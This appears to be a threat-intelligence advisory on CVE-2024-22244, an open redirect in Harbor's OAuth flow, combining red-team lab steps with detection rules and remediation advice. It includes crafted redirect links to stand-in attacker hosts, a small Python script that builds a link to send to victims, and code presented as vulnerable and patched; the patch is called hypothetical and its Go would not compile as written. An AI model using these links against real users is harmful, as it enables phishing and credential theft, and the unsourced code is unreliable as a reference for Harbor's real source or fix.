CVE-2024-22244

Executive Summary

CVE-2024-22244 is an open redirect vulnerability affecting Harbor container registry versions up to and including v2.8.4, v2.9.2, and v2.10.0. The flaw allows an attacker to craft a malicious link that, when clicked by an authenticated user, redirects them to an external attacker-controlled site. This can be leveraged for phishing attacks, credential theft, or as a stepping stone for further exploitation. The vulnerability has a CVSS score of 4.3 (Medium) and currently has no public exploit code or patch available. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains for targeted attacks.

Supply Chain & Package Security

Harbor is a cloud-native container registry written in Go. This vulnerability does not directly affect the supply chain of packages (e.g., npm, PyPI, Go modules) but impacts the security of the Harbor web interface itself. Organizations using Harbor as part of their CI/CD pipeline should treat this as a critical supply chain risk because a successful redirect could lead to credential harvesting, potentially compromising the entire container build and deployment pipeline.

CVSS Breakdown & Threat Level

• CVSS Score: 4.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must click a link)
• Scope: Changed (redirect to external domain)
• Confidentiality Impact: Low (potential credential exposure)
• Integrity Impact: Low (malicious site can impersonate Harbor)
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the potential for phishing attacks against DevOps teams elevates the risk in enterprise environments.

Deep Dive & Mechanics

The vulnerability resides in the Harbor web application's handling of redirect URLs. When a user is redirected after login or other actions, the application does not properly validate the target URL. An attacker can craft a URL like:

https://harbor.example.com/oauth2/start?redirect_url=https://evil.com

If a user clicks this link, Harbor will redirect them to https://evil.com after authentication. This can be used to steal session tokens, credentials, or trick users into performing actions on the malicious site.

The root cause is insufficient validation of the redirect_url parameter. The application should only allow redirects to trusted domains (e.g., the same origin or a whitelist of allowed URLs). The lack of such validation makes it an open redirect vulnerability.

Vulnerable vs. Patched Code

Vulnerable Code (Harbor <= v2.10.0):

// In oauth2 handler
func handleOAuthStart(w http.ResponseWriter, r *http.Request) {
    redirectURL := r.URL.Query().Get("redirect_url")
    // No validation of redirectURL
    http.Redirect(w, r, redirectURL, http.StatusFound)
}

Patched Code (Hypothetical fix):

// In oauth2 handler
func handleOAuthStart(w http.ResponseWriter, r *http.Request) {
    redirectURL := r.URL.Query().Get("redirect_url")
    // Validate redirectURL against allowed domains
    if !isValidRedirect(redirectURL) {
        redirectURL = "/" // Default to home
    }
    http.Redirect(w, r, redirectURL, http.StatusFound)
}

func isValidRedirect(url string) bool {
    parsedURL, err := url.Parse(url)
    if err != nil {
        return false
    }
    // Only allow same origin or specific trusted domains
    allowedHosts := []string{"harbor.example.com", "harbor.internal"}
    for _, host := range allowedHosts {
        if parsedURL.Host == host {
            return true
        }
    }
    return false
}

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy a vulnerable Harbor instance (e.g., v2.10.0) using Docker Compose.
2. Set up a simple HTTP server on a separate machine to act as the malicious redirect target.
3. Craft the exploit URL:

   https://harbor.example.com/oauth2/start?redirect_url=http://attacker.com/steal
   

4. Send the link to a victim (simulated via browser automation or manual click).
5. Observe the redirect and capture any credentials or tokens sent to the attacker server.

Exploit Code (Python):

import requests

target = "https://harbor.example.com"
malicious_url = "http://attacker.com/steal"

# Craft the open redirect URL
exploit_url = f"{target}/oauth2/start?redirect_url={malicious_url}"
print(f"Send this link to victim: {exploit_url}")

# Simulate a victim clicking the link (requires user interaction)
response = requests.get(exploit_url, allow_redirects=False)
print(f"Redirect status: {response.status_code}")
print(f"Location header: {response.headers.get('Location')}")

Blue Team

Detection:

• Monitor for unusual redirect patterns in Harbor access logs.
• Look for redirect_url parameters pointing to external domains.
• Use the Sigma rule below to detect exploitation attempts.

Mitigation:

• Implement a Web Application Firewall (WAF) rule to block requests with redirect_url pointing to external domains.
• Apply the hypothetical patch above if possible.
• Educate users about phishing risks and to verify URLs before clicking.

Indicators of Compromise (IOCs)

• URL Pattern: */oauth2/start?redirect_url=* with an external domain in the redirect_url parameter.
• Log Entry: Harbor access logs showing GET /oauth2/start?redirect_url=http:// or https:// followed by a domain not matching the Harbor server.
• Network Traffic: Outbound connections from Harbor server to unexpected external domains shortly after a redirect request.
• User Agent: Any user agent that triggers the redirect with a suspicious redirect_url.

Detection Engineering

YARA Rule

rule CVE_2024_22244_Open_Redirect {
    meta:
        description = "Detects open redirect attempts in Harbor logs"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-22244"
    strings:
        $redirect = /\/oauth2\/start\?redirect_url=https?:\/\// nocase
        $external = /redirect_url=https?:\/\/(?!harbor)[a-zA-Z0-9.-]+\// nocase
    condition:
        $redirect and $external
}

Sigma Rule

title: Harbor Open Redirect Exploitation Attempt
id: 8f4b3c2a-1e5d-4f7b-9a0c-3d6e8f2b1a4c
status: experimental
description: Detects attempts to exploit CVE-2024-22244 open redirect in Harbor
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: harbor
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/oauth2/start?redirect_url='
        cs-uri-query|re: 'redirect_url=https?:\/\/[^h]'
    condition: selection
falsepositives:
    - Legitimate redirects to external SSO providers (if configured)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-22244 Harbor Open Redirect Attempt"; flow:to_server; content:"/oauth2/start"; http_uri; content:"redirect_url="; http_uri; pcre:"/redirect_url=https?:\/\/(?!harbor)/Ui"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable the OAuth2 redirect functionality if not required, or restrict it to only allow redirects to the same origin.
2. Patch: Apply the hypothetical patch provided above or wait for an official fix from the Harbor maintainers.
3. WAF Rule: Deploy a WAF rule to block requests with redirect_url pointing to external domains.
4. User Training: Educate users to verify URLs before clicking and to report suspicious links.
5. Monitoring: Implement the detection rules above to identify exploitation attempts.
6. Version Upgrade: Upgrade to a patched version once available (check Harbor releases regularly).

Valters IT
DevSecOps & Cyber Threat Intelligence